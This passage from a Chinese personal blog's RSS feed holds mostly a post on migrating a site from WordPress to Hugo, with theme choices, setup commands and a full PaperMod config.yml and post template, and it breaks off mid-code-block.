<th>GPIO 号</th>
<th>复位电平</th>
<th>复用功能号</th>
<th>功能描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>MAIN_RXD</td>
<td>VDDIO_18</td>
<td>GPIO20</td>
<td>L</td>
<td>1</td>
<td>主串口RX，接 wifi 模组TX</td>
</tr>
<tr>
<td>52</td>
<td>SPI_CS</td>
<td>V_LCD_18_33</td>
<td>GPIO13</td>
<td>H</td>
<td>3</td>
<td>spi CS 片选，接外部flash CS</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
]]></content:encoded>
    </item>
    <item>
      <title>弃用 wordpress，拥抱 hugo</title>
      <link>https://hacperme.com/posts/notes/hugo_notes/</link>
      <pubDate>Sun, 05 Mar 2023 22:15:53 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/hugo_notes/</guid>
      <description>从 wordpress 迁移到 hugo 的笔记</description>
      <content:encoded><![CDATA[<h2 id="迁移到-hugo-的理由">迁移到 hugo 的理由</h2>
<p>昨天在读博主黄湘云的文章 《<a href="https://xiangyun.rbind.io/2023/02/ggplot2-cookbook/">ggplot2 食谱</a> 》，顺带探索了一下整个网站，看看还有没有其他的我感兴趣的内容。他的博客主题风格简洁、清爽，我也有意将自己的网站往这类风格上修改，进一步探索便发现了 hugo 这个建站工具。 hugo 在 GitHub 上居然有 65.7k start， 看完 hugo 的介绍，是心动的感觉，于是便也打算上手折腾折腾。</p>
<p>参照 hugo 官网的 <a href="https://gohugo.io/categories/getting-started">GETTING STARTED</a> 操作一番，hugo 的基本使用流程搞懂了，也正是我想要的。</p>
<p>我觉得使用 hugo 有这些优点，让我决定弃用 wordpress：</p>
<ol>
<li>基于 markdown 构建静态网站，原始文本文件可以使用 git 做版本管理，可以减少我备份和维护网站的时间。</li>
<li>主题丰富，有我想要的简洁风格的主题。</li>
<li>生成的是静态网站，加载速度快，减少服务器的负担，原来运行 wordpress 需要的 php、MySQL 等相关程序都可以卸载了。</li>
<li>借助 GitHub Action，可以做到自动化构建和部署。</li>
<li>可以支持 rss 订阅、评论，满足我的刚需。</li>
</ol>
<h2 id="迁移步骤">迁移步骤</h2>
<ol>
<li>
<p>安装 hugo</p>
<p>本地是Windows系统，参照 <a href="https://gohugo.io/installation/windows/">Install Hugo on Window</a> 下载 hugo 二进制文件，添加到环境变量PATH就安装好了，很简单。</p>
</li>
<li>
<p>选择主题</p>
<p>主题选择耗费了一点时间，对比考虑了下面这几款主题。</p>
<ul>
<li><a href="http://jrutheiser.com/">Hugo Lithium</a>  长时间未更新、似乎也太简洁了。</li>
<li><a href="https://github.com/yursan9/manis-hugo-theme">Manis Hugo Theme</a> 简洁，但字体不太好看，start 少。</li>
<li><a href="https://themes.gohugo.io/themes/hugo-paper/">Paper</a> 主题风格喜欢，功能满足刚需，start 1.4k。</li>
<li><a href="https://github.com/adityatelange/hugo-PaperMod/">Hugo PaperMod</a> 主题风格喜欢，功能满足刚需，基于 <a href="https://themes.gohugo.io/themes/hugo-paper/">Paper</a>，start 5.7k。</li>
</ul>
<p>最后选择了 <a href="https://github.com/adityatelange/hugo-PaperMod/">Hugo PaperMod</a> 。</p>
</li>
<li>
<p>配置站点</p>
<ul>
<li>
<p>创建站点</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 注意指定网站配置文件为yml格式</span>
</span></span><span class="line"><span class="cl">hugo new site &lt;name of site&gt; -f yml
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 初始化git 仓库</span>
</span></span><span class="line"><span class="cl">git init
</span></span><span class="line"><span class="cl">git add .
</span></span><span class="line"><span class="cl">git commit -m <span class="s2">&#34;init&#34;</span>
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>添加主题</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 使用 git submodule 的方式添加主题</span>
</span></span><span class="line"><span class="cl">git submodule add --depth<span class="o">=</span><span class="m">1</span> https://github.com/adityatelange/hugo-PaperMod.git themes/PaperMod
</span></span></code></pre></td></tr></table>
</div>
</div><p>修改 config.yml 文件，添加主题配置</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">theme</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;PaperMod&#34;</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>修改网站配置</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">baseURL</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;https://blog.hacperme.com/&#34;</span><span class="w"> </span><span class="c">#设置站点地址</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">buildDrafts</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">buildFuture</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">buildExpired</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">googleAnalytics</span><span class="p">:</span><span class="w"> </span><span class="l">G-W3YJ286Z4E</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="c"># 构建输出配置</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">minify</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">disableXML</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">minifyOutput</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="c"># 菜单设置和排序</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">menu</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">main</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="nt">identifier</span><span class="p">:</span><span class="w"> </span><span class="l">search</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">搜索</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">url</span><span class="p">:</span><span class="w"> </span><span class="l">/search/</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">weight</span><span class="p">:</span><span class="w"> </span><span class="m">1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="nt">identifier</span><span class="p">:</span><span class="w"> </span><span class="l">archives</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">归档</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">url</span><span class="p">:</span><span class="w"> </span><span class="l">/archives/</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">weight</span><span class="p">:</span><span class="w"> </span><span class="m">2</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="nt">identifier</span><span class="p">:</span><span class="w"> </span><span class="l">categories</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">分类</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">url</span><span class="p">:</span><span class="w"> </span><span class="l">/categories/</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">weight</span><span class="p">:</span><span class="w"> </span><span class="m">3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="nt">identifier</span><span class="p">:</span><span class="w"> </span><span class="l">tags</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">标签</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">url</span><span class="p">:</span><span class="w"> </span><span class="l">/tags/</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">weight</span><span class="p">:</span><span class="w"> </span><span class="m">4</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="nt">identifier</span><span class="p">:</span><span class="w"> </span><span class="l">about</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">关于</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">url</span><span class="p">:</span><span class="w"> </span><span class="l">/about/</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">weight</span><span class="p">:</span><span class="w"> </span><span class="m">5</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">params</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">env</span><span class="p">:</span><span class="w"> </span><span class="l">production</span><span class="w"> </span><span class="c"># to enable google analytics, opengraph, twitter-cards and schema.</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">title</span><span class="p">:</span><span class="w"> </span><span class="l">Hacper&#39;s Blog</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">description</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;Hacper 的个人网站&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">keywords</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="l">Blog]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">author</span><span class="p">:</span><span class="w"> </span><span class="l">Hacper</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">DateFormat</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;2006-01-02&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">defaultTheme</span><span class="p">:</span><span class="w"> </span><span class="l">auto</span><span class="w"> </span><span class="c"># dark, light</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">disableThemeToggle</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ShowAllPagesInArchive</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w"> </span><span class="c"># 归档页面设置需要</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ShowReadingTime</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ShowShareButtons</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w"> </span><span class="c"># 不显示分享按钮</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ShowPostNavLinks</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ShowBreadCrumbs</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ShowCodeCopyButtons</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w"> </span><span class="c"># 显示复制代码按钮</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ShowWordCount</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ShowRssButtonInSectionTermList</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ShowFullTextinRSS</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w"> </span><span class="c"># rss 配置</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ShowLastMod</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w"> </span><span class="c">#显示文章更新时间</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">UseHugoToc</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">disableSpecial1stPost</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">  </span><span class="c"># 感觉难看，关闭</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">disableScrollToTop</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">comments</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">	</span><span class="c"># 打开评论功能</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">hidemeta</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">hideSummary</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">showtoc</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">tocopen</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">VisitCount</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">mainSections</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">posts</span><span class="w"> </span><span class="c"># 设置主页显示的文章路径</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">assets</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="c"># disableHLJS: true # to disable highlight.js</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="c"># disableFingerprinting: true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">favicon</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;/favicon.ico&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">favicon16x16</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;/favicon.ico&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">favicon32x32</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;/favicon.ico&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">apple_touch_icon</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;/favicon.ico&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">safari_pinned_tab</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;/favicon.ico&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">cover</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">hidden</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w"> </span><span class="c"># hide everywhere but not in structured data</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">hiddenInList</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w"> </span><span class="c"># hide on list pages and home</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">hiddenInSingle</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w"> </span><span class="c"># hide on single page</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="c"># for search</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="c"># https://fusejs.io/api/options.html</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">fuseOpts</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">isCaseSensitive</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">shouldSort</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">location</span><span class="p">:</span><span class="w"> </span><span class="m">0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">distance</span><span class="p">:</span><span class="w"> </span><span class="m">1000</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">threshold</span><span class="p">:</span><span class="w"> </span><span class="m">0.4</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">minMatchCharLength</span><span class="p">:</span><span class="w"> </span><span class="m">0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">keys</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;title&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;permalink&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;summary&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;content&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">permalinks</span><span class="p">:</span><span class="w"> </span><span class="c">#浏览器链接显示方式</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">post</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;/:year/:month/:day/:title/&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="c"># Read: https://github.com/adityatelange/hugo-PaperMod/wiki/FAQs#using-hugos-syntax-highlighter-chroma</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">pygmentsUseClasses</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">markup</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">highlight</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">noClasses</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="c"># anchorLineNos: true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="c"># codeFences: true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">guessSyntax</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">lineNos</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w"> </span><span class="c"># 显示代码行号</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="c"># style: monokai</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="c"># 搜索需要配置</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">outputs</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">home</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="l">HTML</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="l">RSS</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="l">JSON</span><span class="w"> </span><span class="c"># is necessary</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="c"># 分类设置</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">taxonomies</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">category</span><span class="p">:</span><span class="w"> </span><span class="l">categories</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">tag</span><span class="p">:</span><span class="w"> </span><span class="l">tags</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">series</span><span class="p">:</span><span class="w"> </span><span class="l">series</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>生成文章模板设置，修改 archetypes/default.md</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-markdown" data-lang="markdown"><span class="line"><span class="cl">---
</span></span><span class="line"><span class="cl">title: &#34;{{ replace .Name &#34;-&#34; &#34; &#34; | title }}&#34;
</span></span><span class="line"><span class="cl">date: {{ .Date }}
</span></span><span class="line"><span class="cl">lastmod: {{ .Date }}
</span></span><span class="line"><span class="cl">author: [&#34;hacper&#34;]
</span></span><span class="line"><span class="cl">tags:
</span></span><span class="line"><span class="cl">    <span class="k">-</span> tag1
</span></span><span class="line"><span class="cl">categories:
</span></span><span class="line"><span class="cl">    <span class="k">-</span> 生活
</span></span><span class="line"><span class="cl">    <span class="k">-</span> 阅读
</span></span><span class="line"><span class="cl">    <span class="k">-</span> 笔记
</span></span><span class="line"><span class="cl">description: &#34;&#34; # 文章描述，与搜索优化相关
</span></span><span class="line"><span class="cl">summary: &#34;&#34; # 文章简单描述，会展示在主页
</span></span><span class="line"><span class="cl"><span class="gh"># weight: # 输入1可以顶置文章，用来给文章展示排序，不填就默认按时间排序
</span></span></span><span class="line"><span class="cl"><span class="gh"></span>slug: &#34;&#34;
</span></span><span class="line"><span class="cl">draft: true # 是否为草稿
</span></span><span class="line"><span class="cl">comments: true
</span></span><span class="line"><span class="cl">showToc: true # 显示目录
</span></span><span class="line"><span class="cl">TocOpen: true # 自动展开目录
</span></span><span class="line"><span class="cl">autonumbering: true # 目录自动编号
</span></span><span class="line"><span class="cl">hidemeta: false # 是否隐藏文章的元信息，如发布日期、作者等
</span></span><span class="line"><span class="cl">disableShare: true # 底部不显示分享栏
</span></span><span class="line"><span class="cl">searchHidden: false # 该页面可以被搜索到
</span></span><span class="line"><span class="cl">showbreadcrumbs: true <span class="ni">#顶部显示当前路径</span>
</span></span><span class="line"><span class="cl"><span class="gh"># mermaid: true
</span></span></span><span class="line"><span class="cl"><span class="gh"># cover:
</span></span></span><span class="line"><span class="cl"><span class="gh">#     image: &#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="gh">#     caption: &#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="gh">#     alt: &#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="gh">#     relative: false
</span></span></span><span class="line"><span class="cl"><span class="gh"></span>
</span></span><span class="line"><span class="cl">---
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>增加搜索</p>
<p>在content文件夹中创建search.md</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
